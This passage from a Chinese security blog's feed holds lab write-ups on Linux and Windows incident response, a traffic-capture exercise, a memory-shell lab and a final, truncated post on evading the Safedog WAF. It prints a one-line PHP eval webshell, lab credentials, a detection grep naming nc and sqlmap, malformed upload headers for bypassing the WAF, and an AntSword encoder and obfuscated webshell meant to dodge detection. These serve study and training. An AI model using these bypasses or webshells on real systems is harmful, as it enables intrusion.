successful"></p><p><strong>查找没有用户/组名称的文件</strong></p><pre><code>find / \( -nouser -o -nogroup \) -exec ls -lg {} \;</code></pre><p><strong>列出当前目录中的所有文件类型</strong></p><pre><code>file * -p</code></pre><p><strong>查找可执行文件</strong></p><pre><code>find / -type f -exec file -p &#39;{}&#39; \; | grep ELFfind /tmp -type f -exec file -p &#39;{}&#39; \; | grep ELF </code></pre><p><img src="/images/pasted-938.png" alt="upload successful"></p><p><strong>最近一天有修改(modified/created)的文件</strong></p><pre><code>find / -mtime -1</code></pre><p><strong>可存放后门持久化的目录</strong></p><pre><code>/etc/rc.local, /etc/initd, /etc/rc*.d, /etc/modules, /etc/cron*, /var/spool/cron/*</code></pre><p><strong>查找已经修改的包文件</strong></p><pre><code>rpm -Va | grep ^..5.debsums -c</code></pre><h5 id="4-用户"><a href="#4-用户" class="headerlink" title="4. 用户"></a>4. 用户</h5><p><strong>查找所有ssh公钥文件</strong></p><pre><code>find / -name authorized_keys</code></pre><p><img src="/images/pasted-939.png" alt="upload successful"></p><p><strong>查找所有用户历史日志文件</strong></p><pre><code>find / -name .*history</code></pre><p><strong>查找历史日志文件重定向到/dev/null</strong></p><pre><code>ls -alR / 2&gt; /dev/null | grep .*history | grep null</code></pre><p><strong>查看root用户/组</strong></p><pre><code>grep &quot;:0:&quot; /etc/passwd</code></pre><p><img src="/images/pasted-940.png" alt="upload successful"></p><p><strong>检测sudoers 文件</strong></p><pre><code>cat /etc/sudoerscat /etc/group</code></pre><p><img src="/images/pasted-943.png" alt="upload successful"></p><p><img src="/images/pasted-942.png" alt="upload successful"></p><p><strong>检查计划任务</strong></p><pre><code>crontab -latqsystemctl list-timers --all</code></pre><h5 id="5-日志"><a href="#5-日志" class="headerlink" title="5. 日志"></a>5. 日志</h5><p><strong>查找大小为0的文件</strong></p><pre><code>ls -al /var/log/*</code></pre><p><strong>审计登录日志</strong></p><pre><code>utmpdump /var/log/wtmputmpdump /var/run/utmputmpdump /var/log/btmplastlastb</code></pre><p><img src="/images/pasted-944.png" alt="upload successful"></p><p><img src="/images/pasted-945.png" alt="upload successful"></p><p><strong>查找包含有二进制文件的日志</strong></p><pre><code>grep [[:cntrl:]] /var/log/*.log</code></pre><p>/var/log/secure：安全日志<br>/var/log/cron：定时任务日志<br>/var/log/yum.log：软件安装卸载日志<br>/var/log/maillog：邮件相关<br>登录成功：more /var/log/secure* | grep “Accepted password”<br>登录失败：more /var/log/secure* | grep “Failed password”<br>本机登录情况：more /var/log/secure* | grep -E “sshd:session.<em>session opened”<br>新增用户：more /var/log/secure</em> | grep “new user”<br>传输文件：more /var/log/message* | grep “ZMODEM:.<em>BPS”<br>定时任务日志：more /var/log/cron</em><br>定时执行脚本：more /var/log/cron* | grep -E “.py$|.sh$|.pl$”<br>下载软件情况：more /var/log/yum* | grep Installed<br>卸载软件情况：more /var/log/yum* | grep Erased<br>可疑工具：more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |<br>uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”<br>错误登录：Lastb<br>所有用户最后一次登录：Lastlog<br>所有用户登录日志：last | grep pts | grep -vw :0ü /var/log/secure：安全日志<br>/var/log/cron：定时任务日志<br>/var/log/yum.log：软件安装卸载日志<br>/var/log/maillog：邮件相关<br>登录成功：more /var/log/secure* | grep “Accepted password”<br>登录失败：more /var/log/secure* | grep “Failed password”<br>本机登录情况：more /var/log/secure* | grep -E “sshd:session.<em>session opened”<br>新增用户：more /var/log/secure</em> | grep “new user”<br>传输文件：more /var/log/message* | grep “ZMODEM:.<em>BPS”<br>定时任务日志：more /var/log/cron</em><br>定时执行脚本：more /var/log/cron* | grep -E “.py$|.sh$|.pl$”<br>下载软件情况：more /var/log/yum* | grep Installed<br>卸载软件情况：more /var/log/yum* | grep Erased<br>可疑工具：more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |<br>uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”<br>错误登录：Lastb<br>所有用户最后一次登录：Lastlog<br>所有用户登录日志：last | grep pts | grep -vw :0</p><h3 id="四、案例"><a href="#四、案例" class="headerlink" title="四、案例"></a>四、案例</h3><h4 id="1-windows-应急响应"><a href="#1-windows-应急响应" class="headerlink" title="1.windows 应急响应"></a>1.windows 应急响应</h4><h6 id="1-1-检查"><a href="#1-1-检查" class="headerlink" title="1.1 检查"></a>1.1 检查</h6><p>系统       ————&gt;     windows server2008</p><p>风扇噪声很大  —-&gt;    中毒</p><p>无web服务     —–&gt;    推测横向移动或恶意软件</p><h6 id="1-2-抑制"><a href="#1-2-抑制" class="headerlink" title="1.2 抑制"></a>1.2 抑制</h6><p>现象为风扇噪音大，先排查cpu占用与进程</p><p><img src="/images/pasted-946.png" alt="upload successful"></p><p><img src="/images/pasted-947.png" alt="upload successful"></p><p>未发现其他疑似恶意程序，查看该程序</p><p><img src="/images/pasted-948.png" alt="upload successful"></p><p><img src="/images/pasted-950.png" alt="upload successful"></p><p><img src="/images/pasted-951.png" alt="upload successful"></p><p><img src="/images/pasted-952.png" alt="upload successful"></p><p>发现存在恶意连接</p><p><img src="/images/pasted-953.png" alt="upload successful"></p><p><img src="/images/pasted-954.png" alt="upload successful"></p><p>先kill掉该进程，结束进程后，发现还会恢复，可能存在计划任务</p><p><img src="/images/pasted-955.png" alt="upload successful"></p><h6 id="1-3-根除"><a href="#1-3-根除" class="headerlink" title="1.3 根除"></a>1.3 根除</h6><p>因为存在自启动先检查计划任务、服务、开机启动项目相关启动信息</p><p><img src="/images/pasted-956.png" alt="upload successful"></p><p><img src="/images/pasted-957.png" alt="upload successful"></p><p>发现存在计划任务，继续查看你自动服务，并未发现恶意自动服务</p><p><img src="/images/pasted-958.png" alt="upload successful"></p><p><img src="/images/pasted-959.png" alt="upload successful"></p><p>查看开机启动项目</p><p><img src="/images/pasted-960.png" alt="upload successful"></p><p>综上:目前启动项目只有计划任务，先将该任务暂停，在kill</p><p><img src="/images/pasted-961.png" alt="upload successful"></p><p><img src="/images/pasted-962.png" alt="upload successful"></p><p>等待几分钟中，发现不存在该进程自启动了</p><p>总结已处理情况:</p><ul><li><p>挖坑木马位置<code>C:\Users\Administrator\Downloads\wkbd\wkbd</code></p></li><li><p>‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13</p></li><li><p>获取的到的主机权限Administrator </p></li></ul><p>继续排查所有windows可疑项目</p><p>检查windows 系统账户安全:</p><p><img src="/images/pasted-963.png" alt="upload successful"></p><p><img src="/images/pasted-964.png" alt="upload successful"></p><p><img src="/images/pasted-965.png" alt="upload successful"></p><p>发现存在隐藏账户，删除指定注册表项目就可以了</p><p>检查系统杂项发现辅助功能劫持</p><p><img src="/images/pasted-966.png" alt="upload successful"></p><p>辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。</p><p>锁屏状态下连续按5下shift确实调用cmd</p><p><img src="/images/pasted-967.png" alt="upload successful"></p><p>查看对应注册表项目</p><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\</code></p><p><img src="/images/pasted-968.png" alt="upload successful"></p><p>删除对应的项目</p><p><img src="/images/pasted-969.png" alt="upload successful"></p><p>继续总结一下目前情况:</p><ul><li><p>挖坑木马位置<code>C:\Users\Administrator\Downloads\wkbd\wkbd</code></p></li><li><p>‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13</p></li><li><p>获取的到的主机权限Administrator </p></li><li><p>做了xiaoge$隐藏账户的添加</p></li><li><p>辅助功能粘滞键被劫持</p></li></ul><p>继续排查系统相关信息及文件排查:</p><p>未发现威胁项目</p><p><img src="/images/pasted-970.png" alt="upload successful"></p><p>文件检查:</p><p><img src="/images/pasted-971.png" alt="upload successful"></p><p><img src="/images/pasted-972.png" alt="upload successful"></p><p><img src="/images/pasted-973.png" alt="upload successful"></p><p>进一步总结:</p><ul><li><p>挖坑木马位置<code>C:\Users\Administrator\Downloads\wkbd\wkbd</code></p></li><li><p>‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13</p></li><li><p>获取的到的主机权限Administrator </p></li><li><p>做了xiaoge$隐藏账户的添加</p></li><li><p>辅助功能粘滞键被劫持</p></li><li><p>恶意软件Services.exe</p></li><li><p>恶意软件WmiApSvr.exe</p></li></ul><p>所有关键项目都检查完毕，现在要排查是怎么进去的，因为获取到Administrator权限，该服务器没有web服务，首先推测为暴力破解</p><p><img src="/images/pasted-974.png" alt="upload successful"></p><p>导出另存为</p><p><img src="/images/pasted-975.png" alt="upload successful"><br>使用分析工具查看:</p><pre class=" language-cmd"><code class="language-cmd">evtxLogparse.exe -s fail </code></pre><p><img src="/images/pasted-976.png" alt="upload successful"></p><p>2022-03-21 16:26:27 存在smb暴力破解</p><p><img src="/images/pasted-977.png" alt="upload successful"></p><p>总结:2022-03-21 16开始进行远程登录，并创建隐藏账户，进行远程登录，上传恶意文件Services.exe、WmiApSvr.exe，2022-03-23 9时继续登录上传恶意程序，并创建定时任务和辅助功能粘滞键劫持</p><h6 id="1-4-恢复"><a href="#1-4-恢复" class="headerlink" title="1.4 恢复"></a>1.4 恢复</h6><ol><li>更换Administrator密码，重启服务器</li><li>注册表删除xiaoge$用户</li><li>删除恶意程序Services.exe、WmiApSvr.exe</li><li>删除定时任务system</li><li>结束进程javs.exe并删除文件</li><li>注册表删除辅助功能粘滞键</li><li>观察后续情况</li></ol><h6 id="1-5-建议"><a href="#1-5-建议" class="headerlink" title="1.5 建议"></a>1.5 建议</h6><ol><li>安装edr、杀软</li><li>制定密码强度管理制定</li></ol><h4 id="2-流量分析"><a href="#2-流量分析" class="headerlink" title="2.流量分析"></a>2.流量分析</h4><p>某公司内网网络被黑客渗透，简单了解，黑客首先攻击了一台web服务器，破解了后台的账户密码，随之利用破解的账号密码登陆了mail系统，然后获取了vpn的申请方式，然后登陆了vpn，在内网pwn掉了一台打印机，请根据提供的流量包回答下面有关问题</p><h6 id="2-1某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器"><a href="#2-1某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器" class="headerlink" title="2.1某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器"></a>2.1某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器</h6><p>扫描器一般伴随着大量请求，筛选GET请求，查看</p><p><code>http.request.method == GET</code></p><p><img src="/images/pasted-978.png" alt="upload successful"></p><p><img src="/images/pasted-979.png" alt="upload successful"></p><p>所有可以判断是<strong>awvs</strong>扫描器</p><h6 id="2-2-某公司内网网络被黑客渗透，请分析流量，得到黑客扫描到的登陆后台是-相对路径即可"><a href="#2-2-某公司内网网络被黑客渗透，请分析流量，得到黑客扫描到的登陆后台是-相对路径即可" class="headerlink" title="2.2 某公司内网网络被黑客渗透，请分析流量，得到黑客扫描到的登陆后台是(相对路径即可)"></a>2.2 某公司内网网络被黑客渗透，请分析流量，得到黑客扫描到的登陆后台是(相对路径即可)</h6><p>有上面get请求包含admin路径，推测后台地址包含admin，请求类型为POST，因为要传输值</p><p><code>http.request.full_uri contains  admin &amp;&amp; http.request.method == POST</code></p><p><img src="/images/pasted-980.png" alt="upload successful"></p><p>所以后台地址<strong>admin/login.php</strong></p><h6 id="2-3-某公司内网网络被黑客渗透，请分析流量，得到黑客使用了什么账号密码登陆了web后台-形式-username-password"><a href="#2-3-某公司内网网络被黑客渗透，请分析流量，得到黑客使用了什么账号密码登陆了web后台-形式-username-password" class="headerlink" title="2.3 某公司内网网络被黑客渗透，请分析流量，得到黑客使用了什么账号密码登陆了web后台(形式:username/password)"></a>2.3 某公司内网网络被黑客渗透，请分析流量，得到黑客使用了什么账号密码登陆了web后台(形式:username/password)</h6><p>登录成功一般伴随着302重定向到管理员页面，可能还会有js的加载，所以我们查看出现不同于admin/login.php，就说明爆破成功，被重定向了</p><p><img src="/images/pasted-981.png" alt="upload successful"></p><p><img src="/images/pasted-982.png" alt="upload successful"></p><p><img src="/images/pasted-983.png" alt="upload successful"></p><p>可以看到获取到两个账户密码</p><p><img src="/images/pasted-984.png" alt="upload successful"></p><p>账户:人事 密码:hr123456</p><p><img src="/images/pasted-985.png" alt="upload successful"></p><p>账户:admin 密码:admin!@#pass123</p><h6 id="2-4-某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么-提交webshell内容的base编码"><a href="#2-4-某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么-提交webshell内容的base编码" class="headerlink" title="2.4 某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么,提交webshell内容的base编码"></a>2.4 某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么,提交webshell内容的base编码</h6><p>images下php文件，流量特征蚁剑，所以webshell名称a.php</p><p><img src="/images/pasted-986.png" alt="upload successful"></p><p>过滤webshell，根据密码1234</p><p><code>tcp contains &quot;1234&quot; &amp;&amp; tcp contains &quot;.php&quot;</code></p><p><img src="/images/pasted-987.png" alt="upload successful"></p><p>所以提交的内容</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span> @<span class="token function">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token number">1234</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><h6 id="2-5-某公司内网网络被黑客渗透，请分析流量，黑客在robots-txt中找到的flag是什么"><a href="#2-5-某公司内网网络被黑客渗透，请分析流量，黑客在robots-txt中找到的flag是什么" class="headerlink" title="2.5 某公司内网网络被黑客渗透，请分析流量，黑客在robots.txt中找到的flag是什么"></a>2.5 某公司内网网络被黑客渗透，请分析流量，黑客在robots.txt中找到的flag是什么</h6><p>直接搜索就行<code>http contains &quot;robots.txt&quot;</code></p><p><img src="/images/pasted-988.png" alt="upload successful"></p><p>flag:<strong>87b7cb79481f317bde90c116cf36084b</strong></p><h6 id="2-6-某公司内网网络被黑客渗透，请分析流量，黑客找到的数据库密码是多少"><a href="#2-6-某公司内网网络被黑客渗透，请分析流量，黑客找到的数据库密码是多少" class="headerlink" title="2.6 某公司内网网络被黑客渗透，请分析流量，黑客找到的数据库密码是多少"></a>2.6 某公司内网网络被黑客渗透，请分析流量，黑客找到的数据库密码是多少</h6><p>查看黑客执行的命令<code>http contains &quot;/images/article/a.php&quot; || tcp contains &quot;/images/article/a.php</code></p><p><img src="/images/pasted-989.png" alt="upload successful"></p><p><img src="/images/pasted-990.png" alt="upload successful"></p><p>读取了product_category.php，包含的配置文件init.php 黑客下一步就要读取这个文件</p><p><img src="/images/pasted-991.png" alt="upload successful"></p><p>黑客读取了还是没有数据库账户密码</p><p><img src="/images/pasted-992.png" alt="upload successful"></p><p>继续读取:</p><p><img src="/images/pasted-993.png" alt="upload successful"></p><p>所以获取的账户密码:</p><pre><code>// database username$dbuser   = &quot;web&quot;;// database password$dbpass   = &quot;e667jUPvJjXHvEUv&quot;;</code></pre><h6 id="2-7-某公司内网网络被黑客渗透，请分析流量，黑客在数据库中找到的hash-code是什么"><a href="#2-7-某公司内网网络被黑客渗透，请分析流量，黑客在数据库中找到的hash-code是什么" class="headerlink" title="2.7 某公司内网网络被黑客渗透，请分析流量，黑客在数据库中找到的hash_code是什么"></a>2.7 某公司内网网络被黑客渗透，请分析流量，黑客在数据库中找到的hash_code是什么</h6><p>直接搜索:<code>tcp contains &quot;hash_code&quot; || http contains &quot;hash_code&quot;</code></p><p><img src="/images/pasted-994.png" alt="upload successful"></p><p>所以得到的hash_code:<code>d1c029893df40cb0f47bcf8f1c3c17ac</code></p><h6 id="2-8-某公司内网网络被黑客渗透，请分析流量，黑客破解了账号ijnu-test-com得到的密码是什么"><a href="#2-8-某公司内网网络被黑客渗透，请分析流量，黑客破解了账号ijnu-test-com得到的密码是什么" class="headerlink" title="2.8 某公司内网网络被黑客渗透，请分析流量，黑客破解了账号ijnu@test.com得到的密码是什么"></a>2.8 某公司内网网络被黑客渗透，请分析流量，黑客破解了账号<a href="mailto:ijnu@test.com">ijnu@test.com</a>得到的密码是什么</h6><p>直接搜索:<code>tcp contains &quot;ijnu@test.com&quot; || http contains &quot;ijnu@test.com&quot;</code></p><p><img src="/images/pasted-995.png" alt="upload successful"></p><p><img src="/images/pasted-996.png" alt="upload successful"></p><p>所以得到的密码:<strong>edc123!@#</strong></p><h6 id="2-9-某公司内网网络被黑客渗透，请分析流量，被黑客攻击的web服务器，网卡配置是是什么，提交网卡内网ip"><a href="#2-9-某公司内网网络被黑客渗透，请分析流量，被黑客攻击的web服务器，网卡配置是是什么，提交网卡内网ip" class="headerlink" title="2.9 某公司内网网络被黑客渗透，请分析流量，被黑客攻击的web服务器，网卡配置是是什么，提交网卡内网ip"></a>2.9 某公司内网网络被黑客渗透，请分析流量，被黑客攻击的web服务器，网卡配置是是什么，提交网卡内网ip</h6><p>继续看蚁剑流量<code>http contains &quot;/images/article/a.php&quot; || tcp contains &quot;/images/article/a.php</code></p><p><img src="/images/pasted-997.png" alt="upload successful"></p><p>网卡信息:</p><p><img src="/images/pasted-998.png" alt="upload successful"></p><h6 id="2-10-某公司内网网络被黑客渗透，请分析流量，黑客使用了什么账号登陆了mail系统（形式-username-password）"><a href="#2-10-某公司内网网络被黑客渗透，请分析流量，黑客使用了什么账号登陆了mail系统（形式-username-password）" class="headerlink" title="2.10 某公司内网网络被黑客渗透，请分析流量，黑客使用了什么账号登陆了mail系统（形式: username/password）"></a>2.10 某公司内网网络被黑客渗透，请分析流量，黑客使用了什么账号登陆了mail系统（形式: username/password）</h6><p>直接搜索登录url:<code>http contains &quot;/webmail/index.php?module=operate&amp;action=login&amp;web=1&quot;</code></p><p>直接看最后一个就行，因为最后一个一般都是爆破成功的</p><p><img src="/images/pasted-999.png" alt="upload successful"></p><p><img src="/images/pasted-1000.png" alt="upload successful"></p><p>账户:test.com 密码:+ZgE14UGcFcyRGLI0/ZXPQ==</p><p>密码前端加密后，看下前端的混淆</p><p><img src="/images/pasted-1001.png" alt="upload successful"></p><p><img src="/images/pasted-1002.png" alt="upload successful"></p><p>所以账户:test.com 密码:admin!@#PASS123</p><h6 id="2-11-某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn的ip是多少"><a href="#2-11-某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn的ip是多少" class="headerlink" title="2.11 某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn的ip是多少"></a>2.11 某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn的ip是多少</h6><p><img src="/images/pasted-1003.png" alt="upload successful"></p><p>vpn的ip是:10.3.4.3</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;a href=&quot;#此文章为博客丢失找回内容&quot; class=&quot;headerlink&quot; title=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;/a&gt;此文章为博客丢失找回内容&lt;/h3&gt;&lt;p&gt;此文章为博客丢失找回内容可能存在部分内容缺失情况&lt;/p&gt;
&lt;
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="应急响应" scheme="https://lnng.top/tags/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/"/>
    
  </entry>
  
  <entry>
    <title>内存马分析与处置实验记录</title>
    <link href="https://lnng.top/posts/db1b.html"/>
    <id>https://lnng.top/posts/db1b.html</id>
    <published>2022-11-08T13:01:00.000Z</published>
    <updated>2023-10-28T15:05:55.117Z</updated>
    
    <content type="html"><![CDATA[<h3 id="此文章为博客丢失找回内容"><a href="#此文章为博客丢失找回内容" class="headerlink" title="此文章为博客丢失找回内容"></a>此文章为博客丢失找回内容</h3><p>此文章为博客丢失找回内容可能存在部分内容缺失情况</p><h3 id="一、找到命令执行"><a href="#一、找到命令执行" class="headerlink" title="一、找到命令执行"></a>一、找到命令执行</h3><p><img src="/images/pasted-842.png" alt="upload successful"></p><p><img src="/images/pasted-843.png" alt="upload successful"></p><p>构造命令执行:</p><p><img src="/images/pasted-844.png" alt="upload successful"></p><h3 id="二、使用哥斯拉进行连接"><a href="#二、使用哥斯拉进行连接" class="headerlink" title="二、使用哥斯拉进行连接"></a>二、使用哥斯拉进行连接</h3><p>注入内存马</p><p><img src="/images/pasted-845.png" alt="upload successful"></p><p>访问xx已存在</p><p><img src="/images/pasted-846.png" alt="upload successful"></p><p><img src="/images/pasted-847.png" alt="upload successful"></p><p><img src="/images/pasted-848.png" alt="upload successful"></p><h3 id="三、日志分析"><a href="#三、日志分析" class="headerlink" title="三、日志分析"></a>三、日志分析</h3><p><img src="/images/pasted-849.png" alt="upload successful"></p><p>内存<br><img src="/images/pasted-850.png" alt="upload successful"></p><p>工具检测:</p><p>memshell:</p><p><img src="/images/pasted-851.png" alt="upload successful"></p><p><img src="/images/pasted-852.png" alt="upload successful"></p><p><img src="/images/pasted-853.png" alt="upload successful"></p><p><img src="/images/pasted-854.png" alt="upload successful"></p><p><img src="/images/pasted-855.png" alt="upload successful"></p><p>哥斯拉内存马</p><p><img src="/images/pasted-856.png" alt="upload successful"></p><p>cop.jar</p><p><img src="/images/pasted-857.png" alt="upload successful"></p><p>VisualVM</p><p><img src="/images/pasted-858.png" alt="upload successful"></p><h3 id="四、处置"><a href="#四、处置" class="headerlink" title="四、处置"></a>四、处置</h3><p><img src="/images/pasted-859.png" alt="upload successful"></p><p><img src="/images/pasted-860.png" alt="upload successful"></p><p><img src="/images/pasted-861.png" alt="upload successful"></p><p><img src="/images/pasted-862.png" alt="upload successful"></p><p>index2.jsp改名index.jsp</p><p><img src="/images/pasted-863.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;a href=&quot;#此文章为博客丢失找回内容&quot; class=&quot;headerlink&quot; title=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;/a&gt;此文章为博客丢失找回内容&lt;/h3&gt;&lt;p&gt;此文章为博客丢失找回内容可能存在部分内容缺失情况&lt;/p&gt;
&lt;
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="webshell" scheme="https://lnng.top/tags/webshell/"/>
    
      <category term="内存马" scheme="https://lnng.top/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"/>
    
  </entry>
  
  <entry>
    <title>安全狗文件上传-sql注入绕过实验记录</title>
    <link href="https://lnng.top/posts/3167.html"/>
    <id>https://lnng.top/posts/3167.html</id>
    <published>2022-11-07T12:37:00.000Z</published>
    <updated>2023-10-28T13:01:08.401Z</updated>
    
    <content type="html"><![CDATA[<h3 id="此文章为博客丢失找回内容"><a href="#此文章为博客丢失找回内容" class="headerlink" title="此文章为博客丢失找回内容"></a>此文章为博客丢失找回内容</h3><p>此文章为博客丢失找回内容可能存在部分内容缺失情况</p><h3 id="一、绕过安全狗文件上传"><a href="#一、绕过安全狗文件上传" class="headerlink" title="一、绕过安全狗文件上传"></a>一、绕过安全狗文件上传</h3><p>先上传一个正常文件，观察一下基本情况</p><p><img src="/images/pasted-746.png" alt="upload successful"></p><p><img src="/images/pasted-747.png" alt="upload successful"><br><img src="/images/pasted-748.png" alt="upload successful"></p><p>收集到基本信息</p><p><strong>1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传不是白名单 3.有回显路径  4.安全设备 安全狗</strong></p><p>思考绕过安全狗要走的路程，一步一步的完成</p><p><strong>1、要能上传php pHp 等 windows 能解析的后缀</strong></p><p><strong>2、内容检测，能够上传webshell，且要免杀，免杀包括文件免杀和连接流量免杀</strong></p><h4 id="1、完成恶意后缀的上传"><a href="#1、完成恶意后缀的上传" class="headerlink" title="1、完成恶意后缀的上传"></a>1、完成恶意后缀的上传</h4><h5 id="1-1-闭合绕过"><a href="#1-1-闭合绕过" class="headerlink" title="1.1 闭合绕过"></a>1.1 闭合绕过</h5><p>对filename的闭合进行修改，让安全狗无法定位到上传的文件名</p><h6 id="去掉双引号绕过"><a href="#去掉双引号绕过" class="headerlink" title="去掉双引号绕过"></a>去掉双引号绕过</h6><pre class=" language-html"><code class="language-html">Content-Disposition: form-data; name="upfile"; filename=1.phpContent-Type: image/jpeg</code></pre><p><img src="/images/pasted-749.png" alt="upload successful"></p><p>成功绕过安全狗</p><p><img src="/images/pasted-750.png" alt="upload successful"></p><h6 id="单引号混淆绕过"><a href="#单引号混淆绕过" class="headerlink" title="单引号混淆绕过"></a>单引号混淆绕过</h6><p>通过单引号干扰安全狗闭合的识别检测</p><p><img src="/images/pasted-751.png" alt="upload successful"></p><pre><code>Content-Disposition: form-data; name=&quot;upfile&quot;; filename=&quot;1.jpg&#39;\2.php&quot;Content-Type: image/jpeg</code></pre><p><img src="/images/pasted-752.png" alt="upload successful"></p><h5 id="1-2-垃圾字符绕过"><a href="#1-2-垃圾字符绕过" class="headerlink" title="1.2 垃圾字符绕过"></a>1.2 垃圾字符绕过</h5><p>通过构造垃圾字符filename=，干扰安全狗对filename的检测，后台只会处理最后一个filename=</p><p><img src="/images/pasted-753.png" alt="upload successful"></p><pre class=" language-html"><code class="language-html">Content-Disposition: form-data; name="upfile"; filename="1.jpg";filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=3.phpContent-Type: image/jpeg</code></pre><p><img src="/images/pasted-754.png" alt="upload successful"></p><h5 id="1-3-高并发绕过"><a href="#1-3-高并发绕过" class="headerlink" title="1.3 高并发绕过"></a>1.3 高并发绕过</h5><p>在高并发情况下，安全狗可能处理不过来，会直接放过，毕竟防护设备不能影响正常业务，业务的并发&gt;安全狗的并发</p><p><img src="/images/pasted-755.png" alt="upload successful"></p><p><img src="/images/pasted-756.png" alt="upload successful"></p><p><img src="/images/pasted-757.png" alt="upload successful"></p><p><img src="/images/pasted-758.png" alt="upload successful"></p><p><img src="/images/pasted-759.png" alt="upload successful"></p><p>上传成功</p><h4 id="2-免杀-文件和流量层"><a href="#2-免杀-文件和流量层" class="headerlink" title="2.免杀 文件和流量层"></a>2.免杀 文件和流量层</h4><p>已知道php版本 5.4.45，可以拼接函数名调用函数，不用直面eval容易很多，流量层多次base64就行，因为防护设备不可能多次解码，消耗时间，其次在每次编码前加随机长度字符串，base64也解不开。当然也可以用异或对称加密非对称加密等等。</p><p>之前学习过php webshell免杀，直接用试试吧</p><p>之前学习写的文章地址:</p><p><a href="https://lnng.top/posts/88aa.html">利用php7-4新特性webshell</a></p><p><a href="https://lnng.top/posts/8e46.html">蚁剑原理与魔改</a></p><p>蚁剑编码器</p><pre class=" language-JS"><code class="language-JS">/** * php::base64编码器 * Create at: 2020/11/21 15:21:10 */'use strict';/** @param  {String} pwd   连接密码* @param  {Array}  data  编码器处理前的 payload 数组* @return {Array}  data  编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => {  // ##########    请在下方编写你自己的代码   ###################  // 以下代码为 PHP Base64 样例  // 生成一个随机变量名  let randomID = `_0x${Math.random().toString(16).substr(2)}`;  // 原有的 payload 在 data['_']中  // 取出来之后，转为 base64 编码并放入 randomID key 下  data['_'] = Buffer.from(data['_']).toString('base64');  // shell 在接收到 payload 后，先处理 pwd 参数下的内容，  //data[pwd] = `${data['_']}"));`;  data[pwd] = Buffer.from(data['_']).toString('base64');  // ##########    请在上方编写你自己的代码   ###################  // 删除 _ 原有的payload  delete data['_'];  // 返回编码器处理后的 payload 数组  return data;}</code></pre><p>免杀的webshell:</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span> <span class="token function">header</span><span class="token punctuation">(</span><span class="token string">'HTTP/1.1 404'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">class</span> <span class="token class-name">COMI</span> <span class="token punctuation">{</span>     <span class="token keyword">public</span> <span class="token 